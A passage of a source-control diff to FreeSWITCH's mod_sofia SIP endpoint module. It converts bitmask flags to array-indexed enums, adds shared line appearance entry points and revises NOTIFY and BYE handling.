-	PFLAG_SECURE = (1 << 15),
-	PFLAG_BLIND_AUTH = (1 << 16),
-	PFLAG_WORKER_RUNNING = (1 << 17),
-	PFLAG_UNREG_OPTIONS_FAIL = (1 << 18),
-	PFLAG_DISABLE_TIMER = (1 << 19),
-	PFLAG_DISABLE_100REL = (1 << 20),
-	PFLAG_AGGRESSIVE_NAT_DETECTION = (1 << 21),
-	PFLAG_RECIEVED_IN_NAT_REG_CONTACT = (1 << 22),
-	PFLAG_3PCC = (1 << 23),
-	PFLAG_DISABLE_RTP_AUTOADJ = (1 << 24),
-	PFLAG_DISABLE_SRTP_AUTH = (1 << 25),
-	PFLAG_FUNNY_STUN = (1 << 26),
-	PFLAG_STUN_ENABLED = (1 << 27),
-	PFLAG_STUN_AUTO_DISABLE = (1 << 28),
-	PFLAG_3PCC_PROXY = (1 << 29),
-	PFLAG_CALLID_AS_UUID = (1 << 30),
-	PFLAG_UUID_AS_CALLID = (1 << 31)
+	PFLAG_AUTH_CALLS,
+	PFLAG_BLIND_REG,
+	PFLAG_AUTH_ALL,
+	PFLAG_FULL_ID,
+	PFLAG_MULTIREG_CONTACT,
+	PFLAG_PASS_RFC2833,
+	PFLAG_DISABLE_TRANSCODING,
+	PFLAG_REWRITE_TIMESTAMPS,
+	PFLAG_RUNNING,
+	PFLAG_RESPAWN,
+	PFLAG_GREEDY,
+	PFLAG_MULTIREG,
+	PFLAG_SUPPRESS_CNG,
+	PFLAG_TLS,
+	PFLAG_CHECKUSER,
+	PFLAG_SECURE,
+	PFLAG_BLIND_AUTH,
+	PFLAG_WORKER_RUNNING,
+	PFLAG_UNREG_OPTIONS_FAIL,
+	PFLAG_DISABLE_TIMER,
+	PFLAG_DISABLE_100REL,
+	PFLAG_AGGRESSIVE_NAT_DETECTION,
+	PFLAG_RECIEVED_IN_NAT_REG_CONTACT,
+	PFLAG_3PCC,
+	PFLAG_DISABLE_RTP_AUTOADJ,
+	PFLAG_DISABLE_SRTP_AUTH,
+	PFLAG_FUNNY_STUN,
+	PFLAG_STUN_ENABLED,
+	PFLAG_STUN_AUTO_DISABLE,
+	PFLAG_3PCC_PROXY,
+	PFLAG_CALLID_AS_UUID,
+	PFLAG_UUID_AS_CALLID,
+	PFLAG_SCROOGE,
+	PFLAG_MANAGE_SHARED_APPEARANCE,
+	PFLAG_DISABLE_SRV,
+	PFLAG_DISABLE_NAPTR,
+	PFLAG_AUTOFLUSH,
+	PFLAG_NAT_OPTIONS_PING,
+	PFLAG_AUTOFIX_TIMING,
+	PFLAG_MESSAGE_QUERY_ON_REGISTER,
+	PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE,
+	PFLAG_MANUAL_REDIRECT,
+	PFLAG_AUTO_NAT,
+	/* No new flags below this line */
+	PFLAG_MAX
 } PFLAGS;
 
 typedef enum {
 	PFLAG_NDLB_TO_IN_200_CONTACT = (1 << 0),
-	PFLAG_NDLB_BROKEN_AUTH_HASH = (1 << 1)
+	PFLAG_NDLB_BROKEN_AUTH_HASH = (1 << 1),
+	PFLAG_NDLB_SENDRECV_IN_SESSION = (1 << 2)
 } sofia_NDLB_t;
 
 typedef enum {
@@ -187,38 +209,42 @@
 } STUNFLAGS;
 
 typedef enum {
-	TFLAG_IO = (1 << 0),
-	TFLAG_CHANGE_MEDIA = (1 << 1),
-	TFLAG_OUTBOUND = (1 << 2),
-	TFLAG_READING = (1 << 3),
-	TFLAG_WRITING = (1 << 4),
-	TFLAG_HUP = (1 << 5),
-	TFLAG_RTP = (1 << 6),
-	TFLAG_BYE = (1 << 7),
-	TFLAG_ANS = (1 << 8),
-	TFLAG_EARLY_MEDIA = (1 << 9),
-	TFLAG_SECURE = (1 << 10),
-	TFLAG_VAD_IN = (1 << 11),
-	TFLAG_VAD_OUT = (1 << 12),
-	TFLAG_VAD = (1 << 13),
-	TFLAG_3PCC = (1 << 14),
-	TFLAG_READY = (1 << 15),
-	TFLAG_REINVITE = (1 << 16),
-	TFLAG_REFER = (1 << 17),
-	TFLAG_NOHUP = (1 << 18),
-	TFLAG_NOSDP_REINVITE = (1 << 19),
-	TFLAG_NAT = (1 << 20),
-	TFLAG_USEME = (1 << 21),
-	TFLAG_SIP_HOLD = (1 << 22),
-	TFLAG_INB_NOMEDIA = (1 << 23),
-	TFLAG_LATE_NEGOTIATION = (1 << 24),
-	TFLAG_SDP = (1 << 25),
-	TFLAG_VIDEO = (1 << 26),
-	TFLAG_TPORT_LOG = (1 << 27),
-	TFLAG_SENT_UPDATE = (1 << 28),
-	TFLAG_PROXY_MEDIA = (1 << 29),
-	TFLAG_HOLD_LOCK = (1 << 30),
-	TFLAG_3PCC_HAS_ACK = (1 << 31)
+	TFLAG_IO,
+	TFLAG_CHANGE_MEDIA,
+	TFLAG_OUTBOUND,
+	TFLAG_READING,
+	TFLAG_WRITING,
+	TFLAG_HUP,
+	TFLAG_RTP,
+	TFLAG_BYE,
+	TFLAG_ANS,
+	TFLAG_EARLY_MEDIA,
+	TFLAG_SECURE,
+	TFLAG_VAD_IN,
+	TFLAG_VAD_OUT,
+	TFLAG_VAD,
+	TFLAG_3PCC,
+	TFLAG_READY,
+	TFLAG_REINVITE,
+	TFLAG_REFER,
+	TFLAG_NOHUP,
+	TFLAG_NOSDP_REINVITE,
+	TFLAG_NAT,
+	TFLAG_USEME,
+	TFLAG_SIP_HOLD,
+	TFLAG_INB_NOMEDIA,
+	TFLAG_LATE_NEGOTIATION,
+	TFLAG_SDP,
+	TFLAG_VIDEO,
+	TFLAG_TPORT_LOG,
+	TFLAG_SENT_UPDATE,
+	TFLAG_PROXY_MEDIA,
+	TFLAG_HOLD_LOCK,
+	TFLAG_3PCC_HAS_ACK,
+	TFLAG_PASS_RFC2833,
+
+	/* No new flags below this line */
+	TFLAG_MAX
 } TFLAGS;
 
 struct mod_sofia_globals {
@@ -242,14 +268,22 @@
 	switch_event_node_t *roster_node;
 	switch_event_node_t *custom_node;
 	switch_event_node_t *mwi_node;
+	int guess_mask;
+	char guess_mask_str[16];
 	int debug_presence;
 	int auto_restart;
+	int auto_nat;
+	int tracelevel;
+	int rewrite_multicasted_fs_path;
 };
 extern struct mod_sofia_globals mod_sofia_globals;
 
 typedef enum {
-	REG_FLAG_AUTHED = (1 << 0),
-	REG_FLAG_CALLERID = (1 << 1)
+	REG_FLAG_AUTHED,
+	REG_FLAG_CALLERID,
+
+	/* No new flags below this line */
+	REG_FLAG_MAX
 } reg_flags_t;
 
 typedef enum {
@@ -306,6 +340,7 @@
 struct sofia_gateway {
 	sofia_private_t *sofia_private;
 	nua_handle_t *nh;
+	nua_handle_t *sub_nh;
 	sofia_profile_t *profile;
 	char *name;
 	char *register_scheme;
@@ -315,12 +350,15 @@
 	char *register_password;
 	char *register_from;
 	char *register_contact;
+	char *extension;
 	char *register_to;
 	char *register_proxy;
 	char *register_sticky_proxy;
+	char *outbound_sticky_proxy;
 	char *register_context;
 	char *expires_str;
 	char *register_url;
+	char *from_domain;
 	sofia_transport_t register_transport;
 	uint32_t freq;
 	time_t expires;
@@ -329,12 +367,15 @@
 	int pinging;
 	sofia_gateway_status_t status;
 	uint32_t ping_freq;
-	uint32_t flags;
+	uint8_t flags[REG_FLAG_MAX];
 	int32_t retry_seconds;
 	reg_state_t state;
 	switch_memory_pool_t *pool;
 	int deleted;
-	switch_event_t *vars;
+	switch_event_t *ib_vars;
+	switch_event_t *ob_vars;
+	uint32_t ib_calls;
+	uint32_t ob_calls;
 	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
 	int failures;
 	struct sofia_gateway *next;
@@ -353,6 +394,12 @@
 	MEDIA_OPT_BYPASS_AFTER_ATT_XFER = (1 << 1)
 } sofia_media_options_t;
 
+typedef enum {
+	CID_TYPE_RPID,
+	CID_TYPE_PID,
+	CID_TYPE_NONE
+} sofia_cid_type_t;
+
 struct sofia_profile {
 	int debug;
 	char *name;
@@ -366,14 +413,20 @@
 	char *extsipip;
 	char *username;
 	char *url;
+	char *public_url;
 	char *bindurl;
 	char *tls_url;
+	char *tls_public_url;
 	char *tls_bindurl;
+	char *tcp_public_contact;
+	char *tls_public_contact;
 	char *tcp_contact;
 	char *tls_contact;
+	char *sla_contact;
 	char *sipdomain;
 	char *timer_name;
 	char *hold_music;
+	char *outbound_proxy;
 	char *bind_params;
 	char *tls_bind_params;
 	char *tls_cert_dir;
@@ -383,16 +436,17 @@
 	char *record_template;
 	char *presence_hosts;
 	char *challenge_realm;
+	sofia_cid_type_t cid_type;
 	sofia_dtmf_t dtmf_type;
 	int auto_restart;
-	int sip_port;
-	int tls_sip_port;
+	switch_port_t sip_port;
+	switch_port_t tls_sip_port;
 	int tls_version;
 	char *codec_string;
 	int running;
 	int dtmf_duration;
-	unsigned int flags;
-	unsigned int pflags;
+	uint8_t flags[TFLAG_MAX];
+	uint8_t pflags[PFLAG_MAX];
 	unsigned int mflags;
 	unsigned int ndlb;
 	uint32_t max_calls;
@@ -435,11 +489,21 @@
 	sofia_media_options_t media_options;
 	uint32_t force_subscription_expires;
 	switch_rtp_bug_flag_t auto_rtp_bugs;
+	uint32_t ib_calls;
+	uint32_t ob_calls;
+	uint32_t ib_failed_calls;
+	uint32_t ob_failed_calls;
+	uint32_t timer_t1;
+	uint32_t timer_t1x64;
+	uint32_t timer_t2;
+	uint32_t timer_t4;
+	char *contact_user;
+	char *local_network;
 };
 
 struct private_object {
 	sofia_private_t *sofia_private;
-	uint32_t flags;
+	uint8_t flags[TFLAG_MAX];
 	switch_payload_t agreed_pt;
 	switch_core_session_t *session;
 	switch_channel_t *channel;
@@ -470,18 +534,25 @@
 	char *from_address;
 	char *to_address;
 	char *callid;
-	char *far_end_contact;
 	char *contact_url;
 	char *from_str;
 	char *rpid;
+	char *asserted_id;
+	char *preferred_id;
+	char *privacy;
 	char *gateway_from_str;
 	char *rm_encoding;
 	char *iananame;
 	char *rm_fmtp;
 	char *fmtp_out;
 	char *remote_sdp_str;
+	int crypto_tag;
+	unsigned char local_raw_key[SWITCH_RTP_MAX_CRYPTO_LEN];
+	unsigned char remote_raw_key[SWITCH_RTP_MAX_CRYPTO_LEN];
+	switch_rtp_crypto_key_type_t crypto_send_type;
+	switch_rtp_crypto_key_type_t crypto_recv_type;
+	switch_rtp_crypto_key_type_t crypto_type;
 	char *local_sdp_str;
-	char *orig_local_sdp_str;
 	char *dest;
 	char *dest_to;
 	char *key;
@@ -501,14 +572,9 @@
 	char *record_route;
 	char *extrtpip;
 	char *stun_ip;
+	char *route_uri;
 	switch_port_t stun_port;
 	uint32_t stun_flags;
-	int crypto_tag;
-	unsigned char local_raw_key[SWITCH_RTP_MAX_CRYPTO_LEN];
-	unsigned char remote_raw_key[SWITCH_RTP_MAX_CRYPTO_LEN];
-	switch_rtp_crypto_key_type_t crypto_send_type;
-	switch_rtp_crypto_key_type_t crypto_recv_type;
-	switch_rtp_crypto_key_type_t crypto_type;
 	unsigned long rm_rate;
 	switch_payload_t pt;
 	switch_mutex_t *flag_mutex;
@@ -557,6 +623,8 @@
 	switch_rtp_bug_flag_t rtp_bugs;
 	switch_codec_implementation_t read_impl;
 	switch_codec_implementation_t write_impl;
+	char *user_via;
+	char *redirected;
 };
 
 struct callback_t {
@@ -577,16 +645,31 @@
 	AUTH_STALE,
 } auth_res_t;
 
-#define sofia_test_pflag(obj, flag) ((obj)->pflags & flag)
-#define sofia_set_pflag(obj, flag) (obj)->pflags |= (flag)
+typedef struct {
+        char *to;
+        char *contact;
+        char *route;
+        char *route_uri;
+} sofia_destination_t;
+
+#define sofia_test_pflag(obj, flag) ((obj)->pflags[flag] ? 1 : 0)
+#define sofia_set_pflag(obj, flag) (obj)->pflags[flag] = 1
 #define sofia_set_pflag_locked(obj, flag) assert(obj->flag_mutex != NULL);\
 switch_mutex_lock(obj->flag_mutex);\
-(obj)->pflags |= (flag);\
+(obj)->pflags[flag] = 1;\
 switch_mutex_unlock(obj->flag_mutex);
-#define sofia_clear_pflag_locked(obj, flag) switch_mutex_lock(obj->flag_mutex); (obj)->pflags &= ~(flag); switch_mutex_unlock(obj->flag_mutex);
-#define sofia_clear_pflag(obj, flag) (obj)->pflags &= ~(flag)
-#define sofia_copy_pflags(dest, src, flags) (dest)->pflags &= ~(flags);	(dest)->pflags |= ((src)->pflags & (flags))
+#define sofia_clear_pflag_locked(obj, flag) switch_mutex_lock(obj->flag_mutex); (obj)->pflags[flag] = 0; switch_mutex_unlock(obj->flag_mutex);
+#define sofia_clear_pflag(obj, flag) (obj)->pflags[flag] = 0
 
+#define sofia_set_flag_locked(obj, flag) assert(obj->flag_mutex != NULL);\
+switch_mutex_lock(obj->flag_mutex);\
+(obj)->flags[flag] = 1;\
+switch_mutex_unlock(obj->flag_mutex);
+#define sofia_set_flag(obj, flag) (obj)->flags[flag] = 1
+#define sofia_clear_flag(obj, flag) (obj)->flags[flag] = 0
+#define sofia_clear_flag_locked(obj, flag) switch_mutex_lock(obj->flag_mutex); (obj)->flags[flag] = 0; switch_mutex_unlock(obj->flag_mutex);
+#define sofia_test_flag(obj, flag) ((obj)->flags[flag] ? 1 : 0)
+
 /* Function Prototypes */
 /*************************************************************************************************************************************************************/
 
@@ -628,6 +711,14 @@
 switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
 						  const char *body, const char *type, const char *hint);
 void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
+
+/*
+ * \brief Sets the "ep_codec_string" channel variable, parsing r_sdp and taing codec_string in consideration 
+ * \param channel Current channel
+ * \param codec_string The profile's codec string or NULL if inexistant
+ * \param sdp The parsed SDP content
+ */
+void sofia_glue_set_r_sdp_codec_string(switch_channel_t *channel,const char *codec_string, sdp_session_t *sdp);
 switch_status_t sofia_glue_tech_media(private_object_t *tech_pvt, const char *r_sdp);
 char *sofia_reg_find_reg_url(sofia_profile_t *profile, const char *user, const char *host, char *val, switch_size_t len);
 void event_handler(switch_event_t *event);
@@ -636,8 +727,10 @@
 void sofia_presence_cancel(void);
 switch_status_t config_sofia(int reload, char *profile_name);
 void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization, sip_t const *sip, const char *regstr, 
-								char *np, size_t nplen, char *ip, switch_event_t **v_event, long exptime, sofia_regtype_t regtype, const char *to_user);
+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization, 
+								sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event, 
+								long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params);
+								
 
 void sofia_reg_handle_sip_r_challenge(int status,
 									  char const *phrase,
@@ -734,7 +827,7 @@
 			}															\
 		}																\
 																		\
-		if(_session) break;												\
+		if (_session) break;											\
 	} while(!_session)
 
 
@@ -747,7 +840,10 @@
 
 const char *sofia_glue_transport2str(const sofia_transport_t tp);
 char * sofia_glue_find_parameter(const char *str, const char *param);
-
+char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
+char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
+char *sofia_glue_strip_uri(const char *str);
+int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
 int sofia_glue_transport_has_tls(const sofia_transport_t tp);
 const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
 switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
@@ -760,10 +856,48 @@
 const char *sofia_glue_strip_proto(const char *uri);
 switch_status_t reconfig_sofia(sofia_profile_t *profile);
 void sofia_glue_del_gateway(sofia_gateway_t *gp);
-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent);
+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
 void sofia_glue_restart_all_profiles(void);
 void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
 const char * sofia_state_string(int state);
 switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
 void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
 void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
+
+/*
+ * SLA (shared line appearance) entrypoints
+ */
+
+void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const *sip, long exptime, const char *full_contact);
+void sofia_sla_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
+void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
+void sofia_sla_handle_sip_r_subscribe(int status,
+									  char const *phrase,
+									  nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
+
+/* 
+ * Logging control functions
+ */
+
+/*!
+ * \brief Changes the loglevel of a sofia component
+ * \param name the sofia component on which to change the loglevel, or "all" to change them all
+ * \note Valid components are "all", "default" (sofia's default logger), "tport", "iptsec", "nea", "nta", "nth_client", "nth_server", "nua", "soa", "sresolv", "stun"
+ * \return SWITCH_STATUS_SUCCESS or SWITCH_STATUS_FALSE if the component isnt valid, or the level is out of range
+ */
+switch_status_t sofia_set_loglevel(const char *name, int level);
+
+/*!
+ * \brief Gets the loglevel of a sofia component
+ * \param name the sofia component on which to change the loglevel
+ * \note Valid components are "default" (sofia's default logger), "tport", "iptsec", "nea", "nta", "nth_client", "nth_server", "nua", "soa", "sresolv", "stun"
+ * \return the component's loglevel, or -1 if the component isn't valid
+ */
+int sofia_get_loglevel(const char *name);
+sofia_cid_type_t sofia_cid_name2type(const char *name);
+void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
+void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
+void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
+sofia_destination_t* sofia_glue_get_destination(char *data);
+void sofia_glue_free_destination(sofia_destination_t *dst);

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/mod_sofia.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -178,6 +178,10 @@
 			RelativePath=".\sofia_reg.c"
 			>
 		</File>
+		<File
+			RelativePath=".\sofia_sla.c"
+			>
+		</File>
 	</Files>
 	<Globals>
 	</Globals>

Modified: freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/endpoints/mod_sofia/sofia.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice, Asteria Solutions Group, Inc <ken@asteriasgi.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -35,10 +35,8 @@
  *
  */
 #include "mod_sofia.h"
-#include "sofia-sip/msg_parser.h"
-#include "sofia-sip/sip_extra.h"
-#include "sofia-sip/tport_tag.h"
 
+
 extern su_log_t tport_log[];
 extern su_log_t iptsec_log[];
 extern su_log_t nea_log[];
@@ -49,6 +47,7 @@
 extern su_log_t soa_log[];
 extern su_log_t sresolv_log[];
 extern su_log_t stun_log[];
+extern su_log_t su_log_default[];
 
 static void set_variable_sip_param(switch_channel_t *channel, char *header_type, sip_param_t const *params);
 
@@ -88,16 +87,35 @@
 	private_object_t *tech_pvt = NULL;
 	switch_event_t *s_event = NULL;
 	sofia_gateway_subscription_t *gw_sub_ptr;
+	int sub_state;
 
+	tl_gets(tags, NUTAG_SUBSTATE_REF(sub_state), TAG_END());
+
 	/* make sure we have a proper event */
 	if (!sip || !sip->sip_event) {
 		goto error;
 	}
 
+	/* the following could be refactored back to the calling event handler here in sofia.c XXX MTK */
+	/* potentially interesting note: for Linksys shared appearance, we'll probably have to set up to get bare notifies
+	 * and pass them inward to the sla handler. we'll have to set NUTAG_APPL_METHOD("NOTIFY") when creating
+	 * nua, and also pick them off special elsewhere here in sofia.c - MTK
+	 * *and* for Linksys, I believe they use "sa" as their magic appearance agent name for those blind notifies, so
+	 * we'll probably have to change to match
+	*/
+	if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
+		
+		if (sip->sip_request->rq_url->url_user && !strncmp(sip->sip_request->rq_url->url_user, "sla-agent", sizeof("sla-agent"))) {
+			sofia_sla_handle_sip_i_notify(nua, profile, nh, sip, tags);
+			goto end;
+		}
+	}
+
 	/* Automatically return a 200 OK for Event: keep-alive */
 	if (!strcasecmp(sip->sip_event->o_type, "keep-alive")) {
+		/* XXX MTK - is this right? in this case isn't sofia is already sending a 200 itself also? */
 		nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
-		return;
+		goto end;
 	}
 
 	if (session) {
@@ -108,7 +126,11 @@
 	}
 
 	/* For additional NOTIFY event packages see http://www.iana.org/assignments/sip-events. */
-	if (!strcasecmp(sip->sip_event->o_type, "refer")) {
+	if (sip->sip_content_type &&
+		sip->sip_content_type->c_type &&
+		sip->sip_payload &&
+		sip->sip_payload->pl_data &&
+		!strcasecmp(sip->sip_event->o_type, "refer")) {
 		if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_NOTIFY_REFER) == SWITCH_STATUS_SUCCESS) {
 			switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "content-type", sip->sip_content_type->c_type);
 			switch_event_add_body(s_event, "%s", sip->sip_payload->pl_data);
@@ -187,7 +209,7 @@
 			switch_channel_set_variable(channel, "auto_answer_destination", switch_channel_get_variable(channel, "destination_number"));
 			switch_ivr_session_transfer(session, "auto_answer", NULL, NULL);
 			nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
-			return;
+			goto end;
 		}
 	}
 	
@@ -215,14 +237,14 @@
 
 	/* dispatch freeswitch event */
 	if (switch_event_create(&s_event, SWITCH_EVENT_NOTIFY_IN) == SWITCH_STATUS_SUCCESS) {
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "event", "%s", sip->sip_event->o_type);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "pl_data", "%s", sip->sip_payload->pl_data);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "sip_content_type", "%s", sip->sip_content_type->c_type);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "event", sip->sip_event->o_type);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "pl_data", sip->sip_payload->pl_data);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "sip_content_type", sip->sip_content_type->c_type);
 		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "port", "%d", sofia_private->gateway->profile->sip_port);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "module_name", "%s", "mod_sofia");
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "profile_name", "%s", sofia_private->gateway->profile->name);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "profile_uri", "%s", sofia_private->gateway->profile->url);
-		switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "gateway_name", "%s", sofia_private->gateway->name);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "module_name", "mod_sofia");
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile_name", sofia_private->gateway->profile->name);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "profile_uri", sofia_private->gateway->profile->url);
+		switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "gateway_name", sofia_private->gateway->name);
 		switch_event_fire(&s_event);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dispatched freeswitch event for message-summary NOTIFY\n");
 	} else {
@@ -230,11 +252,26 @@
 		goto error;	
 	}
 
-	return;
+	goto end;
 
   error:
-	nua_respond(nh, 481, "Subscription Does Not Exist", NUTAG_WITH_THIS(nua), TAG_END());
-	return;
+
+
+	if (sip && sip->sip_event && sip->sip_event->o_type && !strcasecmp(sip->sip_event->o_type, "message-summary")) {
+		/* unsolicited mwi, just say ok */
+		nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
+	} else {
+		nua_respond(nh, 481, "Subscription Does Not Exist", NUTAG_WITH_THIS(nua), TAG_END());
+	}
+	
+ end:
+	
+	if (sub_state == nua_substate_terminated && sofia_private && sofia_private != &mod_sofia_globals.destroy_private && 
+		sofia_private != &mod_sofia_globals.keep_private) {
+		sofia_private->destroy_nh = 1;
+		sofia_private->destroy_me = 1;
+	}
+
 }
 
 void sofia_handle_sip_i_bye(switch_core_session_t *session, int status,
@@ -244,6 +281,10 @@
 	const char *tmp;
 	switch_channel_t *channel;
 	private_object_t *tech_pvt;
+#ifdef MANUAL_BYE
+	int cause;
+	char st[80] = "";
+#endif
 
 	if (!session)
 		return;
@@ -251,11 +292,43 @@
 	channel = switch_core_session_get_channel(session);
 	tech_pvt = switch_core_session_get_private(session);
 
+
+#ifdef MANUAL_BYE
+	status = 200;
+	phrase = "OK";
+	
+	sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
+
 	if (sip->sip_reason && sip->sip_reason->re_protocol &&
-		(!strcasecmp(sip->sip_reason->re_protocol, "Q.850") || !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")) && sip->sip_reason->re_cause) {
+		(!strcasecmp(sip->sip_reason->re_protocol, "Q.850") 
+			|| !strcasecmp(sip->sip_reason->re_protocol, "FreeSWITCH")
+			|| !strcasecmp(sip->sip_reason->re_protocol, profile->username)) && sip->sip_reason->re_cause) {
 		tech_pvt->q850_cause = atoi(sip->sip_reason->re_cause);
+		cause = tech_pvt->q850_cause;
+	} else {
+		cause = sofia_glue_sip_cause_to_freeswitch(status);
 	}
 
+	switch_snprintf(st, sizeof(st), "%d", status);
+	switch_channel_set_variable(channel, "sip_term_status", st);
+	switch_snprintf(st, sizeof(st), "sip:%d", status);
+
+	if (phrase) {
+		switch_channel_set_variable_partner(channel, "sip_hangup_phrase", phrase);
+	}
+
+	switch_snprintf(st, sizeof(st), "%d", cause);
+	switch_channel_set_variable(channel, "sip_term_cause", st);
+	switch_channel_hangup(channel, cause);
+	nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
+
+	if (sofia_private) {
+        sofia_private->destroy_me = 1;
+        sofia_private->destroy_nh = 1;
+    }
+#endif
+
+
 	if (sip->sip_user_agent && !switch_strlen_zero(sip->sip_user_agent->g_string)) {
 		switch_channel_set_variable(channel, "sip_user_agent", sip->sip_user_agent->g_string);
 	} else if (sip->sip_server && !switch_strlen_zero(sip->sip_server->g_string)) {
@@ -273,8 +346,8 @@
 	}
 	
 	tech_pvt->got_bye = 1;
-	switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");
-	
+	switch_channel_set_variable(channel, "sip_hangup_disposition", "recv_bye");	
+
 	return;
 }
 
@@ -284,11 +357,11 @@
 
 void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout)
 {
-	time_t exp = switch_timestamp(NULL) + timeout;
+	time_t exp = switch_epoch_time_now(NULL) + timeout;
 	
 	tech_pvt->want_event = event;
 
-	while(switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_timestamp(NULL) < exp) {
+	while(switch_channel_ready(tech_pvt->channel) && tech_pvt->want_event && switch_epoch_time_now(NULL) < exp) {
 		switch_yield(100000);
 	}
 	
@@ -305,7 +378,16 @@
 	switch_channel_t *channel = NULL;
 	sofia_gateway_t *gateway = NULL;
 	int locked = 0;
+	int check_destroy = 1;
 
+	if (nh && sofia_private == &mod_sofia_globals.keep_private) {
+		if (status >= 300) {
+			nua_handle_bind(nh, NULL);
+			nua_handle_destroy(nh);
+			return;
+		}
+	}
+
 	if (sofia_private && sofia_private != &mod_sofia_globals.destroy_private && sofia_private != &mod_sofia_globals.keep_private) {
 		if ((gateway = sofia_private->gateway)) {
 			if (switch_thread_rwlock_tryrdlock(gateway->profile->rwlock) != SWITCH_STATUS_SUCCESS) {
